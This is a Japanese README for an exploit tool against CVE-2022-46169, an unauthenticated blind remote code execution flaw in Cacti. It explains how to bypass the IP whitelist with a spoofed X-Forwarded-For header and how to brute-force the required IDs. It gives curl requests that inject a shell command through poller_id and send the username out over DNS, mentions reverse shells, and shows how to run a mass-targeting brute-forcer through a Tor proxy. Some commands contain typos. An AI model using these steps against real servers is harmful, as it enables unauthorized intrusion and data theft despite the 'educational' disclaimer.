
CVE-2022-46169 - Cacti ブラインドリモートコード実行 (事前認証なし)
Cacti ブラインドリモートコード実行(事前認証不要)
これは教育目的のみです。私はあなたの行動に対して一切責任を負いません。自己責任で使用してください。
このスクリプトは、この脆弱性を悪用するために必要な変数をブルートフォースします。このエクスプロイトには以下の3つの変数が必要です。
host_id パラメータlocal_data_ids パラメータファイル remote_agent.php はIPホワイトリストによって保護されています。X-Forwarded-IP ヘッダーでIPアドレスを偽装することでこれを回避できます。ほとんどのインスタンスでは 127.0.0.1 またはサーバー自身のIPアドレスがホワイトリストに登録されています。
次に、リクエストパラメータ host_id と local_data_ids をブルートフォースする必要があります。これは、デフォルトの最小値1、最大値10で整数のペア x,y を列挙することによって行われます。
リクエスト例
pair_x="1"
pair_y="2"
curl -k -H "X-Forwarded-For: 127.0.0.1" \
"https://target.com/cacti/remote_agent.php?action=polldata&poller_id=1&host_id=$pari_x&=local_data_ids[]=$pair_y"
[]
これらの3つの変数を取得したら、poller_id キーにシェルコマンドを注入し、コマンドの前に ; を付けてエスケープできます。
これはブラインドRCEであるため、コマンドの出力を interact.sh のような場所に送信するか、リバースシェルを開く必要があります。poller_id の値はURLエンコードすることを忘れないでください!
以下は ping $(whoami).test.com コマンドを実行します。
curl -k -H "X-Forwarded-For: 127.0.0.01" \
"https://target.com/cacti/remote_agent.php?action=polldata&host_id=1&local_data_ids[]=3&poller_id=;ping%20%24%28whoami%29.test.com"
スクリプトはCSV形式で出力します。ヘッダーは"target", "ip", "host_id", "data_id", "url"です。
url の値がない場合、スクリプトはIP制限をバイパスできたが、IDのブルートフォースに失敗したことを意味します。この出力を取得して、より高い最大値を設定して再試行できます。
以下のコマンドを使用して、出力ファイルをすばやく解析できます。
tail -n +2 results.csv | cut -d ',' -f1 | sort -u
tail -n +2 results.csv | cut -d ',' -f5 | sort -u
go build -v -o bruteforce bruteforce.go
./bruteforce -l targets.txt -t 50 -min 1 -max 10
-proxy socks5://127.0.0.1:9050results.csv です。